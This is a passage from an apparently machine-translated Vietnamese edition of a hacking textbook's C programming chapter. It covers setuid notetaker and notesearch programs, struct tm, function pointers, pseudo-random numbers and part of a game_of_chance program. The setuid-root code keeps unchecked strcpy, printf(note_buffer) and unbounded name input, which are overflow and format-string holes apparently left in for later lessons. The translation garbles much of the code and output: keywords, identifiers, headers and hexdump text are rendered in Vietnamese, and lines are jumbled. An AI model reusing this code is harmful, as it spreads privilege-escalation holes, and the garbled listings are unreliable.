open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); if(fd == -1)
fatal("trong
main() khi mở tệp"); printf("[DEBUG] mô
tả tệp là %d\n", fd);
userid = getuid(); // Lấy ID người dùng thực.
// Ghi dữ liệu
if(write(fd, &userid, 4) == -1) // Ghi ID người dùng trước note data.
fatal("in main() while writing userid to file");
write(fd, "\n", 1); // Kết thúc dòng.
if(write(fd, buffer, strlen(buffer)) == -1) // Viết note.
fatal("trong main() khi ghi bộ đệm vào tệp");
write(fd, "\n", 1); // Kết thúc dòng.
// Đóng file
if(close(fd) == -1)
fatal("trong hàm main() khi đóng file");
printf("Ghi chú đã được lưu.\n");
free(bộ đệm);
free(tệp dữ liệu);
}
Tệp đầu ra đã được thay đổi từ /tmp/notes thành /var/notes, do đó dữ liệu
hiện được lưu trữ ở một nơi lâu dài hơn. Hàm getuid() được sử dụng để lấy ID
người dùng thực, được ghi vào tệp dữ liệu trên dòng trước khi dòng ghi chú
được ghi. Vì hàm write() đang mong đợi một con trỏ cho nguồn của nó, toán tử
& được sử dụng trên giá trị số nguyên userid để cung cấp địa chỉ của nó.
92 0x200
Machine Translated by Google
reader@hacking:~/booksrc $ gcc -o notetaker notetaker.c
reader@hacking:~/booksrc $ sudo chown root:root ./notetaker
người đọc@hacking:~/booksrc $ sudo chmod u+s ./notetaker
người đọc@hacking:~/booksrc $ ls -l ./notetaker
-rwsr-xr-x 1 gốc gốc 9015 2007-09-07 05:48 ./notetaker
reader@hacking:~/booksrc $ ./notetaker "đây là bài kiểm tra ghi chú của nhiều người dùng"
[DEBUG] buffer @ 0x804a008: 'đây là bài kiểm tra ghi chú của nhiều người dùng'
[DEBUG] tệp dữ liệu @ 0x804a070: '/var/notes'
[DEBUG] mô tả tập tin là 3
Ghi chú đã được lưu.
reader@hacking:~/booksrc $ ls -l /var/notes -rw------1 gốc reader 39 2007-09-07 05:49 /var/notes
người đọc@hacking:~/booksrc $
Trong đầu ra trước đó, chương trình notetaker được biên dịch và thay đổi để
được sở hữu bởi root, và quyền setuid được thiết lập. Bây giờ khi chương trình được
thực thi, chương trình chạy với tư cách là người dùng root, do đó tệp /var/notes
cũng được sở hữu bởi root khi nó được tạo.
reader@hacking:~/booksrc $ cat /var/notes cat: /var/notes:
Quyền bị từ chối
người đọc@hacking:~/booksrc $ sudo cat /var/notes ?
đây là một bài kiểm tra ghi chú của nhiều người dùng
reader@hacking:~/booksrc $ sudo hexdump -C /var/notes 00000000 e7
03 00 00 0a 74 68 69 73 20 69 73 20 61 20 74 |.....đây là tại|
00000010 65 73 74 20 6f 66 20 6d 75 6c 74 69 75 73 65 72 |est của đa người dùng|
00000020 20 6e 6f 74 65 73 0a
| ghi chú.|
00000027
người đọc@hacking:~/booksrc $ pcalc 0x03e7
999 0x3e7
0y1111100111
người đọc@hacking:~/booksrc $
Tệp /var/notes chứa ID người dùng của người đọc (999) và ghi chú.
Do kiến trúc little-endian, 4 byte của số nguyên 999 xuất hiện bị đảo ngược trong
hệ thập lục phân (hiển thị bằng chữ in đậm ở trên).
Để người dùng bình thường có thể đọc dữ liệu ghi chú, cần có chương trình gốc
setuid tương ứng . Chương trình notesearch.c sẽ đọc dữ liệu ghi chú và chỉ hiển
thị các ghi chú do ID người dùng đó viết. Ngoài ra, có thể cung cấp đối số dòng lệnh
tùy chọn cho chuỗi tìm kiếm. Khi sử dụng đối số này, chỉ những ghi chú khớp với
chuỗi tìm kiếm mới được hiển thị.
notesearch.c
#include <stdio.h>
#include <chuỗi.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"
Lập trình 93
Machine Translated by Google
#define TÊN TỆP "/var/notes"
int print_notes(int, int, char *); int
// Chức năng in ghi chú.
find_user_note(int, int); int
// Tìm kiếm trong tệp để biết ghi chú cho người dùng.
search_note(char *, char *); void
// Tìm kiếm từ khóa function.
fatal(char *);
// Trình xử lý lỗi nghiêm trọng
int main(int argc, char *argv[]) { int
userid, printing=1, fd; // Mô tả tệp char searchstring[100];
nếu(argc > 1)
// Nếu có một đối số,
strcpy(searchstring, argv[1]); // đó là chuỗi tìm kiếm; nếu không thì searchstring[0] = 0;
// nếu không, //
chuỗi tìm kiếm sẽ trống.
userid = getuid(); fd
= open(FILENAME, O_RDONLY); // Mở tệp để truy cập chỉ đọc. if(fd == -1) fatal("trong
main() khi mở
tệp để đọc");
while(in) in =
print_notes(fd, userid, chuỗi tìm kiếm);
printf("-----[ kết thúc dữ liệu ghi chú ]-----\n");
close(fd);
}
// Một hàm để in các ghi chú cho một uid nhất định khớp với // một chuỗi
tìm kiếm tùy chọn; // trả về 0 ở
cuối tệp, 1 nếu vẫn còn ghi chú. int print_notes(int fd, int uid, char
*searchstring) { int note_length; char byte=0, note_buffer[100];
note_length = find_user_note(fd, uid); if(note_length
== -1) // Nếu đến cuối tệp, // trả về 0. return 0;
read(fd, note_buffer, note_length); // Đọc dữ liệu ghi chú.
note_buffer[note_length] = 0; // Kết thúc chuỗi.
if(search_note(note_buffer, searchstring)) // Nếu tìm thấy chuỗi tìm kiếm,
printf(note_buffer); trả
// in ghi chú.
về 1;
}
// Một hàm để tìm nốt tiếp theo cho một userID nhất định; // trả về
-1 nếu đã đến cuối tệp; // nếu không, hàm sẽ trả về độ dài
của nốt được tìm thấy. int find_user_note(int fd, int user_uid)
{ int note_uid=-1; unsigned char byte; int length;
while(note_uid != user_uid) { // Lặp cho đến khi tìm thấy ghi chú cho user_uid.
94 0x200
Machine Translated by Google
if(read(fd, &note_uid, 4) != 4) // Đọc dữ liệu uid.
return -1; // Nếu không đọc được 4 byte, trả về mã cuối tệp.
if(read(fd, &byte, 1) != 1) // Đọc ký tự phân cách dòng mới.
trả về -1;
byte = độ dài = 0;
while(byte != '\n') { // Xác định xem còn bao nhiêu byte nữa là đến cuối dòng.
if(read(fd, &byte, 1) != 1) // Đọc một byte đơn.
trả về -1;
// Nếu byte không được đọc, trả về mã cuối tệp.
độ dài++;
}
}
lseek(fd, length * -1, SEEK_CUR); // Tua lại quá trình đọc tệp theo độ dài byte.
printf("[DEBUG] tìm thấy ghi chú %d byte cho id người dùng %d\n", độ dài, note_uid);
chiều dài trả về;
}
// Một hàm để tìm kiếm ghi chú theo một từ khóa nhất định;
// trả về 1 nếu tìm thấy kết quả khớp, trả về 0 nếu không có kết quả khớp.
int search_note(char *note, char *keyword) {
int i, độ dài từ khóa, khớp = 0;
keyword_length = strlen(từ khóa);
if(keyword_length == 0) // Nếu không có chuỗi tìm kiếm,
trả về 1;
// luôn "phù hợp".
for(i=0; i < strlen(note); i++) { // Lặp lại qua các byte trong note.
if(note[i] == keyword[match]) // Nếu byte khớp với từ khóa,
match++; // chuẩn bị kiểm tra byte tiếp theo;
nếu không { // nếu không,
if(note[i] == keyword[0]) // nếu byte đó khớp với byte từ khóa đầu tiên,
match = 1; // bắt đầu đếm số trận đấu từ 1.
khác
match = 0; // Nếu không thì bằng không.
}
if(match == keyword_length) // Nếu có sự khớp hoàn toàn,
trả về 1;
// trả về kết quả khớp.
}
trả về 0; // Kết quả trả về không khớp.
}
Hầu hết đoạn mã này đều có ý nghĩa, nhưng có một số khái niệm mới.
Tên tệp được định nghĩa ở trên cùng thay vì sử dụng bộ nhớ heap. Ngoài ra, hàm
lseek() được sử dụng để tua lại vị trí đọc trong tệp. Lệnh gọi hàm lseek(fd,
length * -1, SEEK_CUR); yêu cầu chương trình di chuyển vị trí đọc về phía trước
từ vị trí hiện tại trong tệp theo length * -1 byte.
Vì đây là một số âm nên vị trí sẽ được dịch chuyển ngược lại theo độ dài byte.
reader@hacking:~/booksrc $ gcc -o notesearch notesearch.c
người đọc@hacking:~/booksrc $ sudo chown root:root ./notesearch
người đọc@hacking:~/booksrc $ sudo chmod u+s ./notesearch
người đọc@hacking:~/booksrc $ ./notesearch
Lập trình
95
Machine Translated by Google
[DEBUG] tìm thấy một ghi chú 34 byte cho ID người dùng 999
đây là một bài kiểm tra ghi chú của nhiều người dùng
-------[ kết thúc dữ liệu ghi chú ]----người đọc@hacking:~/booksrc $
Khi được biên dịch và setuid root, chương trình notesearch hoạt động như mong đợi. Nhưng đây
chỉ là một người dùng duy nhất; điều gì xảy ra nếu một người dùng khác sử dụng chương trình notetaker
và notesearch?
reader@hacking:~/booksrc $ sudo su jose
jose@hacking:/home/reader/booksrc $ ./notetaker "Đây là một ghi chú cho jose"
[DEBUG] buffer @ 0x804a008: 'Đây là ghi chú cho jose'
[DEBUG] tệp dữ liệu @ 0x804a070: '/var/notes'
[DEBUG] mô tả tập tin là 3
Ghi chú đã được lưu.
jose@hacking:/home/reader/booksrc $ ./notesearch [DEBUG] tìm
thấy một ghi chú 24 byte cho ID người dùng 501
Đây là một lưu ý cho jose
-------[ kết thúc dữ liệu ghi chú ]----jose@hacking:/home/reader/booksrc $
Khi người dùng jose sử dụng các chương trình này, ID người dùng thực là 501. Điều này có nghĩa
là giá trị sẽ được thêm vào tất cả các ghi chú được viết bằng notetaker và chỉ những ghi chú có ID người
dùng trùng khớp mới được chương trình notesearch hiển thị.
reader@hacking:~/booksrc $ ./notetaker "Đây là một ghi chú khác dành cho người dùng đọc"
[DEBUG] buffer @ 0x804a008: 'Đây là một lưu ý khác dành cho người dùng trình đọc'
[DEBUG] tệp dữ liệu @ 0x804a070: '/var/notes'
[DEBUG] mô tả tập tin là 3
Ghi chú đã được lưu.
reader@hacking:~/booksrc $ ./notesearch [DEBUG]
tìm thấy một ghi chú 34 byte cho ID người dùng 999
đây là một bài kiểm tra ghi chú của nhiều người dùng
[DEBUG] tìm thấy ghi chú 41 byte cho ID người dùng 999
Đây là một lưu ý khác cho người dùng đọc
-------[ kết thúc dữ liệu ghi chú ]----người đọc@hacking:~/booksrc $
Tương tự như vậy, tất cả các ghi chú cho người dùng đọc đều có ID người dùng 999 được đính kèm vào
chúng. Mặc dù cả chương trình notetaker và notesearch đều phù hợp
root và có quyền đọc và ghi đầy đủ vào tệp dữ liệu /var/notes, logic chương trình trong chương trình
notesearch ngăn người dùng hiện tại xem ghi chú của người dùng khác. Điều này rất giống với cách tệp /
etc/passwd lưu trữ thông tin người dùng cho tất cả người dùng, nhưng các chương trình như chsh và passwd
cho phép bất kỳ người dùng nào thay đổi shell hoặc mật khẩu của riêng mình.
Cấu trúc 0x284
Đôi khi có nhiều biến cần được nhóm lại với nhau và được xử lý như một. Trong C, struct là các biến có
thể chứa nhiều biến khác. Struct thường được sử dụng bởi nhiều hàm hệ thống và thư viện khác nhau, vì
vậy hiểu cách sử dụng struct là điều kiện tiên quyết để sử dụng các hàm này.
96 0x200
Machine Translated by Google
Một ví dụ đơn giản sẽ đủ cho bây giờ. Khi xử lý nhiều hàm thời gian, các hàm này sử
dụng một cấu trúc thời gian gọi là tm, được định nghĩa trong /usr/include/
time.h. Định nghĩa của struct như sau.
cấu trúc tm {
số nguyên
tm_giây;
/* giây */
số nguyên
tm_phút;
/* phút */
số nguyên
tm_giờ;
/* giờ */
số nguyên
tm_ngày;
/* ngày trong tháng */
số nguyên
tm_tháng;
/* tháng */
số nguyên
tm_năm;
/* năm */
số nguyên
tm_tuần;
/* ngày trong tuần */
số nguyên
tm_năm;
/* ngày trong năm */
số nguyên
tm_giờ; tm_giờ; tm_giờ; tm_giờ;
/* giờ tiết kiệm ánh sáng ban ngày */
};
Sau khi struct này được định nghĩa, struct tm trở thành một kiểu biến có thể sử
dụng, có thể được dùng để khai báo các biến và con trỏ với kiểu dữ liệu của struct tm .
Chương trình time_example.c chứng minh điều này. Khi time.h được bao gồm, cấu trúc
tm được định nghĩa, sau đó được sử dụng để khai báo các biến current_time và
time_ptr .
thời gian_ví dụ.c
#include <stdio.h>
#include <thời gian.h>
int chính() {
int dài giây kể từ kỷ nguyên;
struct tm thời gian hiện tại, *time_ptr;
int giờ, phút, giây, ngày, tháng, năm;
seconds_since_epoch = time(0); // Truyền thời gian cho một con trỏ null làm đối số.
printf("time() - số giây kể từ kỷ nguyên: %ld\n", seconds_since_epoch);
time_ptr = &current_time; // Đặt time_ptr thành địa chỉ của
// cấu trúc current_time.
localtime_r(&giây_kể_từ_thời_đại, time_ptr);
// Ba cách khác nhau để truy cập các phần tử struct:
giờ = current_time.tm_hour; // Truy cập trực tiếp
phút = time_ptr->tm_min; // Truy cập thông qua con trỏ
second = *((int *) time_ptr); // Truy cập con trỏ Hacky
printf("Thời gian hiện tại là: %02d:%02d:%02d\n", giờ, phút, giây);
}
Hàm time() sẽ trả về số giây kể từ ngày 1 tháng 1 năm 1970. Thời gian trên các
hệ thống Unix được giữ tương đối với điểm thời gian khá tùy ý này, còn được gọi là
epoch . Hàm localtime_r() mong đợi hai con trỏ làm đối số: một là số giây kể từ epoch
và con trỏ còn lại là một tm struct. Con trỏ time_ptr đã được đặt thành địa chỉ
Lập trình 97
Machine Translated by Google
của current_time, một tm struct rỗng . Toán tử address-of được sử dụng để cung cấp một con trỏ đến
seconds_since_epoch cho đối số khác đến localtime_r(), đối tượng này sẽ điền các phần tử của tm struct.
Các phần tử của struct có thể được truy cập trong
ba cách khác nhau; hai cách đầu tiên là cách thích hợp để truy cập các phần tử struct, và cách thứ ba là
giải pháp hack. Nếu sử dụng biến struct, các phần tử của nó có thể được truy cập bằng cách thêm tên các
phần tử vào cuối tên biến bằng dấu chấm. Do đó, current_time.tm_hour sẽ chỉ truy cập tm_hour
phần tử của tm struct được gọi là current_time. Con trỏ đến struct thường được sử dụng, vì hiệu quả hơn
nhiều khi truyền một con trỏ bốn byte so với toàn bộ cấu trúc dữ liệu. Con trỏ struct rất phổ biến đến
nỗi C có một phương thức tích hợp để truy cập các phần tử struct từ một con trỏ struct mà không cần
phải hủy tham chiếu con trỏ. Khi sử dụng một con trỏ struct như time_ptr, các phần tử struct cũng có thể
được truy cập theo cách tương tự bằng tên của phần tử struct, nhưng sử dụng một loạt các ký tự trông
giống như một mũi tên chỉ sang phải. Do đó, time_ptr->tm_min sẽ truy cập phần tử tm_min của tm struct
được time_ptr trỏ tới. Có thể truy cập giây thông qua bất kỳ phương thức thích hợp nào trong số các
phương thức này, sử dụng phần tử tm_sec hoặc tm struct, nhưng phương thức thứ ba được sử dụng. Bạn có
thể tìm ra cách thức hoạt động của phương thức thứ ba này không?
reader@hacking:~/booksrc $ gcc time_example.c
reader@hacking:~/booksrc $ ./a.out time() giây kể từ kỷ nguyên: 1189311588
Thời gian hiện tại là: 04:19:48
reader@hacking:~/booksrc $ ./a.out time() giây kể từ kỷ nguyên: 1189311600
Thời gian hiện tại là: 04:20:00
người đọc@hacking:~/booksrc $
Chương trình hoạt động như mong đợi, nhưng làm thế nào để truy cập giây trong tm struct ? Hãy nhớ
rằng cuối cùng, tất cả chỉ là bộ nhớ. Vì tm_sec được định nghĩa ở đầu tm struct , giá trị số nguyên đó
cũng được tìm thấy ở đầu. Trong dòng second = *((int *) time_ptr), biến time_ptr
là typecast từ một con trỏ tm struct thành một con trỏ số nguyên. Sau đó, con trỏ typecast này được hủy
tham chiếu, trả về dữ liệu tại địa chỉ của con trỏ. Vì địa chỉ đến tm struct cũng trỏ đến phần tử đầu
tiên của struct này, nên lệnh này sẽ truy xuất giá trị số nguyên cho tm_sec trong struct. Phần bổ sung
sau vào mã time_example.c (time_example2.c) cũng đổ các byte của current_time. Điều này cho thấy các phần
tử của tm struct nằm ngay cạnh nhau trong bộ nhớ. Các phần tử ở xa hơn trong struct cũng có thể được
truy cập trực tiếp bằng con trỏ bằng cách chỉ cần thêm vào địa chỉ của con trỏ.
thời gian_ví dụ2.c
#include <stdio.h>
#include <thời gian.h>
void dump_time_struct_bytes(struct tm *time_ptr, int kích thước) {
số nguyên i;
ký tự không dấu *raw_ptr;
98 0x200
Machine Translated by Google
printf("byte của struct nằm ở 0x%08x\n", time_ptr); raw_ptr =
(unsigned char *) time_ptr; for(i=0; i <
size; i++) {
printf("%02x ", raw_ptr[i]);
if(i%16 == 15) // In một dòng mới sau mỗi 16 byte.
printf("\n");
} printf("\n");
}
int main()
{ long int giây_kể_từ_thời_đại;
struct tm thời_gian_hiện_tại,
*time_ptr; int giờ, phút, giây, i, *int_ptr;
seconds_since_epoch = time(0); // Truyền thời gian cho một con trỏ null làm đối
số. printf("time() - giây kể từ kỷ nguyên: %ld\n", seconds_since_epoch);
time_ptr = &current_time; // Đặt time_ptr thành địa chỉ của
// cấu trúc
current_time.localtime_r(&seconds_since_epoch, time_ptr);
// Ba cách khác nhau để truy cập các phần tử struct:
hour = current_time.tm_hour; // Truy cập trực tiếp
minute = time_ptr->tm_min; // Truy cập thông qua con trỏ
second = *((int *) time_ptr); // Truy cập con trỏ Hacky
printf("Thời gian hiện tại là: %02d:%02d:%02d\n", giờ, phút, giây);
dump_time_struct_bytes(time_ptr, sizeof(struct tm));
phút = giờ = 0; // Xóa phút và giờ. int_ptr = (int *)
time_ptr;
for(i=0; i < 3; i++)
{ printf("int_ptr @ 0x%08x : %d\n", int_ptr, *int_ptr);
int_ptr++; // Thêm 1 vào int_ptr sẽ thêm 4 vào địa chỉ, // vì
}
int có kích thước 4 byte.
}
Kết quả của việc biên dịch và thực thi time_example2.c như sau.
reader@hacking:~/booksrc $ gcc -g time_example2.c reader@hacking:~/
booksrc $ ./a.out time() - giây kể từ kỷ nguyên:
1189311744 Thời gian hiện tại là: 04:22:24 byte của struct
nằm tại 0xbffff7f0 18 00 00 00 16 00
00 00 04 00 00 09 00 00 00 08 00 00 00 6b 00 00 00 00
00 00 00 fb 00 00 00 00 00 00 00 00 00 00 28 a0 04 08 int_ptr @
0xbffff7f0 : 24 int_ptr @ 0xbffff7f4 : 22 int_ptr @ 0xbffff7f8 : 4
reader@hacking:~/booksrc $
Lập trình 99
Machine Translated by Google
Trong khi bộ nhớ struct có thể được truy cập theo cách này, các giả định được
đưa ra về loại biến trong struct và việc thiếu bất kỳ phần đệm nào giữa các biến. Vì
các kiểu dữ liệu của các phần tử struct cũng được lưu trữ trong struct, nên việc sử
dụng các phương pháp thích hợp để truy cập các phần tử struct dễ dàng hơn nhiều.
Con trỏ hàm 0x285
Con trỏ chỉ chứa một địa chỉ bộ nhớ và được cung cấp một kiểu dữ liệu mô tả nơi
nó trỏ đến. Thông thường, con trỏ được sử dụng cho các biến; tuy nhiên, chúng cũng
có thể được sử dụng cho các hàm. Chương trình funcptr_example.c trình bày cách
sử dụng con trỏ hàm.
funcptr_example.c
#include <stdio.h>
int hàm một() {
printf("Đây là hàm một\n");
trả về 1;
}
int func_two() {
printf("Đây là hàm hai\n");
trả về 2;
}
int chính() {
giá trị int;
int(*function_ptr) ();
function_ptr = func_one;
printf("function_ptr là 0x%08x\n", function_ptr);
giá trị = function_ptr();
printf("giá trị trả về là %d\n", giá trị);
function_ptr = func_two;
printf("function_ptr là 0x%08x\n", function_ptr);
giá trị = function_ptr();
printf("giá trị trả về là %d\n", giá trị);
}
Trong chương trình này, một con trỏ hàm có tên chính xác là function_ptr được
khai báo trong main(). Con trỏ này sau đó được đặt để trỏ đến hàm func_one() và được
gọi; sau đó nó được đặt lại và được sử dụng để gọi func_two(). Đầu ra bên dưới cho
thấy quá trình biên dịch và thực thi mã nguồn này.
reader@hacking:~/booksrc $ gcc funcptr_example.c
reader@hacking:~/booksrc $ ./a.out
function_ptr là 0x08048374
Đây là chức năng một
giá trị trả về là 1
100 0x200
Machine Translated by Google
function_ptr là 0x0804838d
Đây là chức năng thứ hai
giá trị trả về là 2
người đọc@hacking:~/booksrc $
0x286 Số giả ngẫu nhiên
Vì máy tính là máy xác định, nên chúng không thể tạo ra các số thực sự ngẫu nhiên. Nhưng nhiều ứng
dụng yêu cầu một số dạng ngẫu nhiên. Các hàm tạo số giả ngẫu nhiên đáp ứng nhu cầu này bằng cách tạo ra
một luồng số giả ngẫu nhiên. Các hàm này có thể tạo ra một chuỗi số có vẻ ngẫu nhiên bắt đầu từ một số
hạt giống; tuy nhiên, cùng một chuỗi chính xác có thể được tạo lại với cùng một hạt giống. Các máy xác
định không thể tạo ra sự ngẫu nhiên thực sự, nhưng nếu giá trị hạt giống của hàm tạo giả ngẫu nhiên
không được biết, thì chuỗi sẽ có vẻ ngẫu nhiên. Trình tạo phải được gieo hạt giống bằng một giá trị bằng
cách sử dụng hàm srand() và từ thời điểm đó, hàm rand() sẽ trả về một số giả ngẫu nhiên từ 0 đến
RAND_MAX. Các hàm này và RAND_MAX được định nghĩa trong stdlib.h. Mặc dù các số mà rand() trả về sẽ
có vẻ ngẫu nhiên, nhưng chúng phụ thuộc vào giá trị hạt giống được cung cấp cho srand().
Để duy trì tính ngẫu nhiên giả giữa các lần thực hiện chương trình tiếp theo, trình tạo ngẫu nhiên phải
được gieo hạt với một giá trị khác nhau mỗi lần. Một điểm chung
thực hành là sử dụng số giây kể từ epoch (trả về từ time ()
chức năng) làm hạt giống. Chương trình rand_example.c chứng minh kỹ thuật này.
rand_example.c
#include <stdio.h>
#include <stdlib.h>
int chính() {
số nguyên i;
printf("RAND_MAX là %u\n", RAND_MAX);
srand(thời gian(0));
printf("giá trị ngẫu nhiên từ 0 đến RAND_MAX\n");
đối với (i = 0; i < 8; i++)
printf("%d\n", rand());
printf("giá trị ngẫu nhiên từ 1 đến 20\n");
đối với (i = 0; i < 8; i++)
printf("%d\n", (rand()%20)+1);
}
Lưu ý cách sử dụng toán tử môđun để lấy các giá trị ngẫu nhiên từ 1 đến 20.
reader@hacking:~/booksrc $ gcc rand_example.c
reader@hacking:~/booksrc $ ./a.out
RAND_MAX là 2147483647
giá trị ngẫu nhiên từ 0 đến RAND_MAX
Lập trình
101
Machine Translated by Google
815015288
1315541117
2080969327
450538726
710528035
907694519
1525415338
1843056422 giá
trị ngẫu nhiên từ 1 đến 20
2
3 8
5
9
1
4
20
reader@hacking:~/booksrc $ ./a.out RAND_MAX
là 2147483647 giá trị ngẫu
nhiên từ 0 đến RAND_MAX 678789658 577505284
1472754734
2134715072
1227404380
1746681907
341911720
93522744
giá trị ngẫu nhiên từ 1 đến 20
6 16
12
19
8
19
2
1
người đọc@hacking:~/booksrc $
Đầu ra của chương trình chỉ hiển thị các số ngẫu nhiên. Tính ngẫu nhiên giả cũng có
thể được sử dụng cho các chương trình phức tạp hơn, như bạn sẽ thấy trong tập lệnh cuối
cùng của phần này.
0x287 Một trò chơi may rủi
Chương trình cuối cùng trong phần này là một tập hợp các trò chơi may rủi sử dụng nhiều
khái niệm mà chúng ta đã thảo luận. Chương trình sử dụng các hàm tạo số giả ngẫu nhiên để
cung cấp yếu tố may rủi. Nó có ba hàm trò chơi khác nhau, được gọi bằng một con trỏ hàm
toàn cục duy nhất và nó sử dụng các cấu trúc để giữ dữ liệu cho người chơi, được lưu trong
một tệp. Quyền tệp nhiều người dùng và ID người dùng cho phép nhiều người dùng chơi và duy
trì dữ liệu tài khoản của riêng họ. Mã chương trình game_of_chance.c được ghi chép lại
rất nhiều và bạn sẽ có thể hiểu được nó tại thời điểm này.
102 0x200
Machine Translated by Google
trò chơi_may_mắn.c
#include <stdio.h>
#include <chuỗi.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <time.h>
#include <stdlib.h>
#include "hacking.h"
#define DATAFILE "/var/chance.data" // Tệp để lưu trữ dữ liệu người dùng
// Cấu trúc người dùng tùy chỉnh để lưu trữ thông tin về người dùng struct
user { int uid;
int
credits; int
highscore; char
name[100]; int
(*current_game) (); };
// Nguyên mẫu hàm int
get_player_data(); void
register_new_player(); void
update_player_data(); void
show_highscore(); void
jackpot(); void
input_name(); void
print_cards(char *, char *, int); int take_wager(int,
int); void play_the_game(); int
pick_a_number(); int
dealer_no_match(); int
find_the_ace(); void
fatal(char *);
// Biến toàn cục
cấu trúc người dùng player;
// Cấu trúc người chơi
int main() { int
lựa chọn, trò chơi cuối cùng;
srand(time(0)); // Gieo hạt ngẫu nhiên với thời gian hiện tại.
if(get_player_data() == -1) // Thử đọc dữ liệu người chơi từ tệp.
đăng_ký_người_chơi_mới();
// Nếu không có dữ liệu, hãy đăng ký người chơi mới.
trong khi(lựa chọn != 7) {
printf("-=[ Menu Game of Chance ]=-\n"); printf("1 Chơi trò chơi Chọn số\n"); printf("2 - Chơi trò chơi Không
có người chia bài\n"); printf("3 - Chơi trò Tìm quân Át\n");
printf("4 - Xem điểm cao nhất hiện tại\n"); printf("5 Đổi tên người dùng của bạn\n");
Lập trình 103
Machine Translated by Google
printf("6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng\n");
printf("7 - Thoát\n");
printf("[Tên: %s]\n", player.name);
printf("[Bạn có %u tín dụng] -> ", player.credits); scanf("%d",
&choice);
nếu((lựa chọn < 1) || (lựa chọn > 7))
printf("\n[!!] Số %d là một lựa chọn không hợp lệ.\n\n", choice); else if (choice <
4) { // Nếu không, choice là một trò chơi nào đó. if(choice != last_game) { // Nếu hàm ptr không
được đặt if(choice == 1) // thì trỏ nó đến trò chơi đã chọn
player.current_game = pick_a_number; else if(choice == 2)
player.current_game = dealer_no_match; nếu không
player.current_game = find_the_ace;
last_game = choice; // và thiết lập last_game.
} chơi_trò_chơi();
// Chơi trò chơi.
} else if (lựa chọn == 4)
show_highscore();
else if (lựa chọn == 5)
{ printf("\nĐổi tên người dùng\n");
printf("Nhập tên mới của bạn: ");
input_name();
printf("Tên của bạn đã được thay đổi.\n\n");
} else if (lựa chọn == 6)
{ printf("\nTài khoản của bạn đã được thiết lập lại với 100 tín dụng.\n\n");
player.credits = 100;
}
} update_player_data();
printf("\nCảm ơn vì đã chơi! Tạm biệt.\n");
}
// Hàm này đọc dữ liệu người chơi cho uid hiện tại // từ tệp. Nó trả về -1 nếu
không tìm thấy dữ liệu người chơi // cho uid hiện tại. int get_player_data() {
int fd, uid, read_bytes;
struct mục nhập người dùng;
uid = getuid();
fd = open(DATAFILE, O_RDONLY); if(fd
== -1) // Không mở được file, có thể file không tồn tại
return -1;
read_bytes = read(fd, &entry, sizeof(struct user));
// Đọc đoạn đầu tiên.
while(entry.uid != uid && read_bytes > 0) { // Lặp cho đến khi tìm thấy uid thích hợp. read_bytes
= read(fd, &entry, sizeof(struct user)); // Tiếp tục đọc.
} close(fd); // Đóng tệp.
if(read_bytes < sizeof(struct user)) // Điều này có nghĩa là đã đến cuối tệp.
104 0x200
Machine Translated by Google
trả về -1;
else
player = entry; // Sao chép mục đã đọc vào cấu trúc player. trả về 1; // Trả về thành
công.
}
// Đây là chức năng đăng ký người dùng mới.
// Nó sẽ tạo một tài khoản người chơi mới và thêm vào tệp. void
register_new_player() { int fd;
printf("-=-={ Đăng ký người chơi mới }=-=-\n");
printf("Nhập tên của bạn: ");
input_name();
player.uid = getuid();
player.highscore = player.credits = 100;
fd = mở(DATAFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); nếu(fd == -1)
fatal("trong
register_new_player() khi mở tệp"); ghi(fd, &player,
sizeof(struct user)); đóng(fd);
printf("\nChào mừng đến với Trò chơi may rủi %s.\n", player.name);
printf("Bạn đã được tặng %u điểm.\n", player.credits);
}
// Hàm này ghi dữ liệu người chơi hiện tại vào tệp.
// Chủ yếu được sử dụng để cập nhật thông tin sau trò chơi. void
update_player_data() { int fd,
i, read_uid; char
burns_byte;
fd = open(DATAFILE, O_RDWR); if(fd ==
-1) // Nếu open không thành công ở đây, thì có điều gì đó thực sự không ổn. fatal("in
update_player_data() while opening file"); read(fd, &read_uid, 4); // Đọc
uid từ struct đầu tiên. while(read_uid != player.uid) { // Lặp cho đến khi tìm thấy uid chính xác.
for(i=0; i < sizeof(struct user) - 4; i++) // Đọc qua read(fd, &burned_byte, 1); read(fd,
&read_uid, 4);
// phần còn lại của cấu trúc đó.
// Đọc uid từ struct tiếp theo.
} write(fd, &(player.credits), 4);
// Cập nhật thông tin.
write(fd, &(player.highscore), 4); // Cập nhật highscore.
write(fd, &(player.name), 100);
// Cập nhật tên.
close(fd);
}
// Hàm này sẽ hiển thị điểm cao hiện tại và // tên của người đã
thiết lập điểm cao đó. void show_highscore() { unsigned
int top_score = 0; char
top_name[100]; struct user
entry;
Lập trình 105
Machine Translated by Google
số nguyên fd;
printf("\n====================| ĐIỂM CAO |====================\n"); fd = open(DATAFILE,
O_RDONLY); if(fd == -1) fatal("in
show_highscore()
while opening file"); while(read(fd, &entry, sizeof(struct
user)) > 0) { // Lặp cho đến khi kết thúc file. if(entry.highscore > top_score) { // Nếu có điểm
cao hơn, top_score = entry.highscore; // đặt top_score thành điểm đó strcpy(top_name,
entry.name); // và top_name thành tên người dùng đó.
}
} close(fd);
if(top_score > player.highscore) printf("%s có
điểm cao nhất là %u\n", top_name, top_score); else printf("Bạn hiện có điểm cao nhất là %u
tín
chỉ!\n", player.highscore);
printf("============================================================\n\n");
}
// Hàm này chỉ đơn giản là trao giải thưởng cho trò chơi Chọn số. void jackpot()
{ printf("*+*+*+*+*+**
JACKPOT *+*+*+*+*+*\n"); printf("Bạn đã trúng giải
thưởng là 100 tín dụng!\n"); player.credits += 100;
}
// Hàm này được sử dụng để nhập tên người chơi, vì // scanf("%s",
&whatever) sẽ dừng nhập ở khoảng trắng đầu tiên. void input_name()
{ char *name_ptr,
input_char='\n'; while(input_char ==
'\n')
// Xóa mọi ký tự còn sót
lại scanf("%c", &input_char); // ký tự xuống dòng.
name_ptr = (char *) &(player.name); // name_ptr = địa chỉ của tên người chơi
while(input_char != '\n') { // Lặp cho đến khi xuống dòng.
*name_ptr = input_char; // Đặt ký tự đầu vào vào trường tên. scanf("%c",
&input_char); // Lấy ký tự tiếp theo. name_ptr++; //
Tăng con trỏ tên.
} *name_ptr = 0; // Kết thúc chuỗi.
}
// Hàm này in ra 3 lá bài cho trò chơi Tìm Át.
// Nó mong đợi một thông báo để hiển thị, một con trỏ đến mảng thẻ, // và
